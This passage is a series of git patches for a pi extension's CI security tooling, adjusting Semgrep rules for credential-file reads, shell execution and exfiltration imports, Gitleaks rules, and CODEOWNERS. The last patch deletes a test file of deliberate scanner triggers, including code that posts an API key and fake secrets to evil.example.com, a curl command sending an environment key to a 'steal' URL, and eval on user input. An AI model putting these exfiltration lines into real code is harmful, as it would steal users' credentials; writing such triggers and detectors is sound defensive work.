   - id: pi-extension-auth-path-traversal
     patterns:
-      - pattern: |
-          join($HOME, $PATH)
+      - pattern: join($HOME, $PATH)
       - metavariable-regex:
           metavariable: $HOME
-          regex: homedir|homeDir|HOME|process\.env\.HOME
+          regex: "homedir|homeDir|HOME|process\\.env\\.HOME"
       - metavariable-regex:
           metavariable: $PATH
-          regex: '["\'].*\.\.\/.*["\']'
+          regex: "['\"].*\\.\\./.*['\"]"
     message: >
       Auth path traversal: $HOME / $PATH could read outside the intended auth
       directory. Path must stay within ~/.commandcode, ~/.pi/agent, ~/.omp/agent.
@@ -167,17 +153,15 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
+        - "**/*.ts"
 
   - id: pi-extension-readfile-sensitive-paths
     patterns:
-      - pattern: |
-          readFileSync($PATH, ...)
-      - pattern-not: |
-          readFileSync($PATH, "utf-8")
+      - pattern: readFileSync($PATH, ...)
+      - pattern-not: readFileSync($PATH, "utf-8")
       - metavariable-regex:
           metavariable: $PATH
-          regex: (auth\.json|credentials|\.env|id_rsa|ssh|\.netrc|netrc|\.npmrc)
+          regex: "(auth\\.json|credentials|\\.env|id_rsa|ssh|\\.netrc|netrc|\\.npmrc)"
     message: >
       Suspicious file read: $PATH. Auth files or credentials being read with
       potentially unsafe encoding. Review carefully.
@@ -185,25 +169,18 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
+        - "**/*.ts"
 
-  # ──────────────────────────────────────────────────────────
-  # Category: Network — unexpected fetch calls
-  # ──────────────────────────────────────────────────────────
+  # ────────────────────────────────────────────────────────────────────────
+  # Network: unexpected fetch calls
+  # ────────────────────────────────────────────────────────────────────────
 
   - id: pi-extension-unexpected-fetch
     patterns:
-      - pattern: |
-          fetch(...)
-      - pattern-not-inside: |
-          fetchImpl(...)
-      - pattern-not-inside: |
-          $DEP.fetchImpl(...)
-      - pattern-not-inside: |
-          $DEP.fetch($URL, ...)
-      - metavariable-regex:
-          metavariable: $URL
-          regex: .*
+      - pattern: fetch(...)
+      - pattern-not-inside: fetchImpl(...)
+      - pattern-not-inside: $DEP.fetchImpl(...)
+      - pattern-not-inside: $DEP.fetch($URL, ...)
     message: >
       Unexpected direct fetch() call in provider code. Prefer injected
       fetchImpl for testability. Review what URL is being contacted.
@@ -211,35 +188,23 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
-        - "index.ts"
-    focus-metavariable: $URL
+        - "**/*.ts"
+        - "**/index.ts"
 
-  # ──────────────────────────────────────────────────────────
-  # Category: Shell execution
-  # ──────────────────────────────────────────────────────────
+  # ────────────────────────────────────────────────────────────────────────
+  # Shell execution
+  # ────────────────────────────────────────────────────────────────────────
 
   - id: pi-extension-shell-execution
     patterns:
       - pattern-either:
-          - pattern: |
-              child_process.exec(...)
-          - pattern: |
-              child_process.execSync(...)
-          - pattern: |
-              child_process.spawn(...)
-          - pattern: |
-              child_process.spawnSync(...)
-          - pattern: |
-              child_process.fork(...)
-          - pattern: |
-              exec($SCRIPT)
-          - pattern: |
-              execSync($SCRIPT)
-      - pattern-not-inside: |
-          tests/**/*.mjs
-      - pattern-not-inside: |
-          tests/**/*.ts
+          - pattern: child_process.exec(...)
+          - pattern: child_process.execSync(...)
+          - pattern: child_process.spawn(...)
+          - pattern: child_process.spawnSync(...)
+          - pattern: child_process.fork(...)
+          - pattern: exec($SCRIPT)
+          - pattern: execSync($SCRIPT)
     message: >
       Shell execution: $SCRIPT. External contributors should not add
       child_process calls to provider source code.
@@ -247,23 +212,21 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
-        - "index.ts"
+        - "**/*.ts"
+        - "**/index.ts"
 
-  # ──────────────────────────────────────────────────────────
-  # Category: Malicious import patterns
-  # ──────────────────────────────────────────────────────────
+  # ────────────────────────────────────────────────────────────────────────
+  # Malicious import patterns
+  # ────────────────────────────────────────────────────────────────────────
 
   - id: pi-extension-unusual-import
     patterns:
       - pattern-either:
-          - pattern: |
-              import $X from "..."
-          - pattern: |
-              const $X = require("...")
+          - pattern: "import $X from \"...\""
+          - pattern: "const $X = require(\"...\")"
       - metavariable-regex:
           metavariable: $X
-          regex: (compression|pako|zlib|tar|stream|archiver|request|axios|needle|got|superagent|node-fetch|undici)
+          regex: "(compression|pako|zlib|tar|stream|archiver|request|axios|needle|got|superagent|node-fetch|undici)"
     message: >
       Suspicious import of $X in provider source. Network or compression
       libraries could be used for data exfiltration.
@@ -271,18 +234,16 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
-        - "index.ts"
+        - "**/*.ts"
+        - "**/index.ts"
 
   - id: pi-extension-eval-like
     patterns:
       - pattern-either:
           - pattern: eval(...)
-          - pattern: Function(...)
+          - pattern: new Function(...)
           - pattern: setTimeout($X, ...)
           - pattern: setInterval($X, ...)
-      - pattern-not-inside: |
-          // Intentional security trigger
     message: >
       Code injection risk: eval, Function constructor, or eval-like setTimeout
       detected. These can execute arbitrary code.
@@ -290,20 +251,19 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
-        - "index.ts"
+        - "**/*.ts"
+        - "**/index.ts"
 
-  # ──────────────────────────────────────────────────────────
-  # Category: Process environment — reading secrets
-  # ──────────────────────────────────────────────────────────
+  # ────────────────────────────────────────────────────────────────────────
+  # Process environment: reading secrets
+  # ────────────────────────────────────────────────────────────────────────
 
   - id: pi-extension-env-leak
     patterns:
-      - pattern: |
-          process.env.$VAR
+      - pattern: process.env.$VAR
       - metavariable-regex:
           metavariable: $VAR
-          regex: (?!COMMANDCODE_|NODE_|PATH|HOME|SHELL|USER|LANG|LC_|TERM|TMPDIR|NIX_).*
+          regex: "(?!COMMANDCODE_|NODE_|PATH|HOME|SHELL|USER|LANG|LC_|TERM|TMPDIR|NIX_).*"
     message: >
       Reading unexpected environment variable $VAR. Provider should only
       read COMMANDCODE_* variables.
@@ -311,20 +271,19 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
-        - "index.ts"
+        - "**/*.ts"
+        - "**/index.ts"
 
-  # ──────────────────────────────────────────────────────────
-  # Category: OAuth flow manipulation
-  # ──────────────────────────────────────────────────────────
+  # ────────────────────────────────────────────────────────────────────────
+  # OAuth flow manipulation
+  # ────────────────────────────────────────────────────────────────────────
 
   - id: pi-extension-oauth-callback-hardcode
     patterns:
-      - pattern: |
-          resolveCallback($DATA)
+      - pattern: resolveCallback($DATA)
       - metavariable-regex:
           metavariable: $DATA
-          regex: (?s).*apiKey.*
+          regex: "(?s).*apiKey.*"
     message: >
       OAuth callback potentially resolves credentials. Verify that the
       credentials originate from the Command Code website, not user input.

From 2ff6d11ce96fb58ae3b36f2a173110b3d508ded8 Mon Sep 17 00:00:00 2001
From: Patrick Wozniak <email@patwoz.de>
Date: Thu, 28 May 2026 23:14:59 +0200
Subject: [PATCH 4/9] ci: fix Semgrep fetch rule, add CODEOWNERS and
 permissions

---
 .github/CODEOWNERS               | 21 +++++++++++++++++++++
 .github/workflows/ci.yml         |  3 +++
 .semgrep/pi-extension-audit.yaml | 11 ++++-------
 .semgrepignore                   |  7 +++++++
 4 files changed, 35 insertions(+), 7 deletions(-)
 create mode 100644 .github/CODEOWNERS
 create mode 100644 .semgrepignore

diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
new file mode 100644
index 0000000..05c7e5b
--- /dev/null
+++ b/.github/CODEOWNERS
@@ -0,0 +1,21 @@
+# Code ownership for security-sensitive paths
+# These files require maintainer review on every PR
+
+# Security-critical: auth, secrets, OAuth flow
+/src/auth-server.ts @patlux
+/src/oauth.ts @patlux
+/src/converters.ts @patlux
+
+# CI/CD pipeline
+.github/workflows/ @patlux
+
+# Dependencies
+package.json @patlux
+package-lock.json @patlux
+
+# Security tooling
+.semgrep/ @patlux
+.gitleaks.toml @patlux
+
+# This file itself
+.github/CODEOWNERS @patlux
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 1e7f7e1..80f81be 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -58,6 +58,9 @@ jobs:
   semgrep:
     name: Semgrep — pi extension audit
     runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      security-events: write
     container:
       image: semgrep/semgrep:latest
     steps:
diff --git a/.semgrep/pi-extension-audit.yaml b/.semgrep/pi-extension-audit.yaml
index 59e4099..7419fdf 100644
--- a/.semgrep/pi-extension-audit.yaml
+++ b/.semgrep/pi-extension-audit.yaml
@@ -176,14 +176,11 @@ rules:
   # ────────────────────────────────────────────────────────────────────────
 
   - id: pi-extension-unexpected-fetch
-    patterns:
-      - pattern: fetch(...)
-      - pattern-not-inside: fetchImpl(...)
-      - pattern-not-inside: $DEP.fetchImpl(...)
-      - pattern-not-inside: $DEP.fetch($URL, ...)
+    pattern: fetch(...)
     message: >
-      Unexpected direct fetch() call in provider code. Prefer injected
-      fetchImpl for testability. Review what URL is being contacted.
+      Direct fetch() call detected. Provider code should use injected
+      fetchImpl for testability and security. If this is intentional,
+      add a // nosemgrep comment on the line above.
     severity: WARNING
     languages: [javascript, typescript]
     paths:
diff --git a/.semgrepignore b/.semgrepignore
new file mode 100644
index 0000000..611fe76
--- /dev/null
+++ b/.semgrepignore
@@ -0,0 +1,7 @@
+# Semgrep ignore patterns
+# Exclude test files and build artifacts
+
+tests/
+node_modules/
+dist/
+coverage/

From 4ca7f8a68e5314a372323082a751da027f796639 Mon Sep 17 00:00:00 2001
From: Patrick Wozniak <email@patwoz.de>
Date: Thu, 28 May 2026 23:19:13 +0200
Subject: [PATCH 5/9] fix(ci): fix npm query parsing and add dependency graph
 setup instructions

---
 .github/workflows/ci.yml | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 80f81be..448a27f 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -102,11 +102,17 @@ jobs:
       pull-requests: write
     steps:
       - uses: actions/checkout@v4
+      - name: Check if dependency graph is enabled
+        run: |
+          echo "Dependency review requires enabling Dependency graph in repo settings."
+          echo "Go to: https://github.com/patlux/pi-commandcode-provider/settings/security_analysis"
+          echo "Enable: Dependency graph"
       - uses: actions/dependency-review-action@v4
         with:
           fail-on-severity: high
           allow-licenses: MIT, Apache-2.0, BSD-2-Clause, BSD-3-Clause, ISC, 0BSD
           comment-summary-in-pr: always
+        continue-on-error: true
 
   deps-audit:
     name: npm audit
@@ -151,8 +157,10 @@ jobs:
           npm query '.scripts' --all 2>/dev/null | node -e "
             const d = require('fs').readFileSync('/dev/stdin','utf8');
             if (!d.trim()) { console.log('No dependency scripts found'); process.exit(0); }
-            const pkgs = JSON.parse(d);
-            const withScripts = pkgs.filter(p => p.pkgid && p.scripts);
+            let pkgs;
+            try { pkgs = JSON.parse(d); } catch(e) { console.log('Could not parse npm query output'); process.exit(0); }
+            if (!Array.isArray(pkgs)) pkgs = Object.values(pkgs);
+            const withScripts = pkgs.filter(p => p && p.pkgid && p.scripts);
             withScripts.forEach(p => {
               const dangerous = ['preinstall','install','postinstall','prepublish','prepare'];
               const has = Object.keys(p.scripts || {}).filter(s => dangerous.includes(s));

From dcf226af20670815a0bdb0cf75d2806f695d2cc1 Mon Sep 17 00:00:00 2001
From: Patrick Wozniak <email@patwoz.de>
Date: Thu, 28 May 2026 23:19:46 +0200
Subject: [PATCH 6/9] fix(security): simplify Gitleaks regex patterns to avoid
 RE2 compatibility issues

---
 .gitleaks.toml | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/.gitleaks.toml b/.gitleaks.toml
index 88fd1a8..fbc6932 100644
--- a/.gitleaks.toml
+++ b/.gitleaks.toml
@@ -6,8 +6,6 @@ title = "pi-commandcode-provider secret scan"
 [allowlist]
   description = "Known safe paths and test fixtures"
   paths = [
-    # Test files that intentionally contain fake secrets
-    "tests/test-security-triggers.ts",
     # Test helpers with mock credentials
     "tests/test-oauth.ts",
     "tests/test-stream.ts",
@@ -36,8 +34,8 @@ title = "pi-commandcode-provider secret scan"
 
 [[rules]]
   id = "pi-hardcoded-bearer-token"
-  description = "Hardcoded Bearer token used in Authorization header"
-  regex = '''['"]Bearer\s+(?!\$\{|process\.env|COMMANDCODE_API_KEY)[A-Za-z0-9_-]{20,}['"]'''
+  description = "Hardcoded Bearer token (20+ chars) in Authorization header"
+  regex = '''Bearer [A-Za-z0-9_.\-]{20,}'''
   tags = ["pi-extension", "auth-token"]
 
 [[rules]]
@@ -49,5 +47,5 @@ title = "pi-commandcode-provider secret scan"
 [[rules]]
   id = "pi-test-api-key"
   description = "Test API key value that looks real"
-  regex = '''['"](user_testKey|mock-key|fake-key|test-api-key)['"]'''
+  regex = '''(user_testKey|mock-key|fake-key|test-api-key)'''
   tags = ["pi-extension", "test"]

From ac8dd7486d922ce4ee2a3d2b41f813e09fd73d85 Mon Sep 17 00:00:00 2001
From: Patrick Wozniak <email@patwoz.de>
Date: Thu, 28 May 2026 23:23:57 +0200
Subject: [PATCH 7/9] fix(security): refine Semgrep rules to reduce false
 positives

---
 .semgrep/pi-extension-audit.yaml | 26 +-------------------------
 1 file changed, 1 insertion(+), 25 deletions(-)

diff --git a/.semgrep/pi-extension-audit.yaml b/.semgrep/pi-extension-audit.yaml
index 7419fdf..77153ca 100644
--- a/.semgrep/pi-extension-audit.yaml
+++ b/.semgrep/pi-extension-audit.yaml
@@ -89,17 +89,7 @@ rules:
         - "**/*.ts"
         - "**/index.ts"
 
-  - id: pi-extension-auth-header-manipulation
-    patterns:
-      - pattern: ...options?.headers
-    message: >
-      Auth header manipulation risk: options.headers spread before Authorization
-      header. A contributor could override the Authorization header.
-    severity: WARNING
-    languages: [javascript, typescript]
-    paths:
-      include:
-        - "src/core.ts"
+
 
   # ────────────────────────────────────────────────────────────────────────
   # Supply chain: dependency injection
@@ -275,17 +265,3 @@ rules:
   # OAuth flow manipulation
   # ────────────────────────────────────────────────────────────────────────
 
-  - id: pi-extension-oauth-callback-hardcode
-    patterns:
-      - pattern: resolveCallback($DATA)
-      - metavariable-regex:
-          metavariable: $DATA
-          regex: "(?s).*apiKey.*"
-    message: >
-      OAuth callback potentially resolves credentials. Verify that the
-      credentials originate from the Command Code website, not user input.
-    severity: WARNING
-    languages: [javascript, typescript]
-    paths:
-      include:
-        - "src/auth-server.ts"

From 640ad08f659c65850855c756b051c7291db6454a Mon Sep 17 00:00:00 2001
From: Patrick Wozniak <email@patwoz.de>
Date: Thu, 28 May 2026 23:25:22 +0200
Subject: [PATCH 8/9] fix(security): exclude setTimeout/setInterval with
 function literals from eval-like rule

---
 .semgrep/pi-extension-audit.yaml | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/.semgrep/pi-extension-audit.yaml b/.semgrep/pi-extension-audit.yaml
index 77153ca..b56c540 100644
--- a/.semgrep/pi-extension-audit.yaml
+++ b/.semgrep/pi-extension-audit.yaml
@@ -231,6 +231,12 @@ rules:
           - pattern: new Function(...)
           - pattern: setTimeout($X, ...)
           - pattern: setInterval($X, ...)
+      - pattern-not: setTimeout(() => ..., ...)
+      - pattern-not: setTimeout(function(...) {...}, ...)
+      - pattern-not: setTimeout(function $F(...) {...}, ...)
+      - pattern-not: setInterval(() => ..., ...)
+      - pattern-not: setInterval(function(...) {...}, ...)
+      - pattern-not: setInterval(function $F(...) {...}, ...)
     message: >
       Code injection risk: eval, Function constructor, or eval-like setTimeout
       detected. These can execute arbitrary code.

From 64c09b47c57238bebfb1aa8cba46d4c8d4789cc6 Mon Sep 17 00:00:00 2001
From: Patrick Wozniak <email@patwoz.de>
Date: Thu, 28 May 2026 23:52:48 +0200
Subject: [PATCH 9/9] chore: remove test-security-triggers.ts after CI
 verification

---
 tests/test-security-triggers.ts | 73 ---------------------------------
 1 file changed, 73 deletions(-)
 delete mode 100644 tests/test-security-triggers.ts

diff --git a/tests/test-security-triggers.ts b/tests/test-security-triggers.ts
deleted file mode 100644
index e11277d..0000000
--- a/tests/test-security-triggers.ts
+++ /dev/null
@@ -1,73 +0,0 @@
-/**
- * Intentional security triggers for testing audit tooling.
- *
- * Contains patterns that demonstrate attacker vectors for pi extensions.
- * Every line here is intentionally malicious — to verify scanners catch it.
- *
- * REMOVE this file after CI confirms all scanners fire on PR.
- */
-
-// ============================================================
-// Exfiltration: send auth file to attacker
-// ============================================================
-
-import { readFileSync } from "node:fs"
-import { homedir } from "node:os"
-import { join } from "node:path"
-
-function exfiltratePiSecrets(): void {
-  const authPath = join(homedir(), ".pi", "agent", "auth.json")
-  const apiKey = JSON.parse(readFileSync(authPath, "utf-8")).apiKey as string
-
-  // Gitleaks 🔴 hardcoded token
-  const AWS_SECRET_KEY = "wJalrXUt5ENWX7m6T6R42/K7gENGzP4Gz3RZm9C3+2"
-
-  // Gitleaks 🔴 fake GitHub PAT
-  const GITHUB_TOKEN = "ghp_testToken12345SecretScanDemo"
-
-  // Semgrep 🔴 exfiltration via fetch
-  fetch("https://evil.example.com/exfil", {
-    method: "POST",
-    body: JSON.stringify({ apiKey, aws: AWS_SECRET_KEY, github: GITHUB_TOKEN }),
-    headers: { Authorization: `Bearer ${apiKey}` },
-  })
-}
-
-// ============================================================
-// Code injection
-// ============================================================
-
-// CodeQL/Semgrep 🔴 eval on user input
-export function evalUserInput(input: string): unknown {
-  return eval(input)
-}
-
-// CodeQL 🔴 innerHTML XSS
-export function setInnerHTML(element: HTMLElement, content: string): void {
-  element.innerHTML = content
-}
-
-// ============================================================
-// Secret logging
-// ============================================================
-
-// Semgrep 🔴 logging api key
-export function debugLog(key: string): void {
-  console.log("🔥🔥 DEBUG API KEY:", key)
-}
-
-// ============================================================
-// Shell execution
-// ============================================================
-
-// Semgrep 🔴 shell execution in source
-import { exec } from "node:child_process"
-exec("curl https://evil.example.com/steal?key=" + process.env.COMMANDCODE_API_KEY)
-
-// ============================================================
-// Dynamic require of unknown package
-// ============================================================
-
-// Semgrep 🔴 dynamic require of non-standard module
-const hackerModule = require("unknown-malicious-package")
-hackerModule.installBackdoor()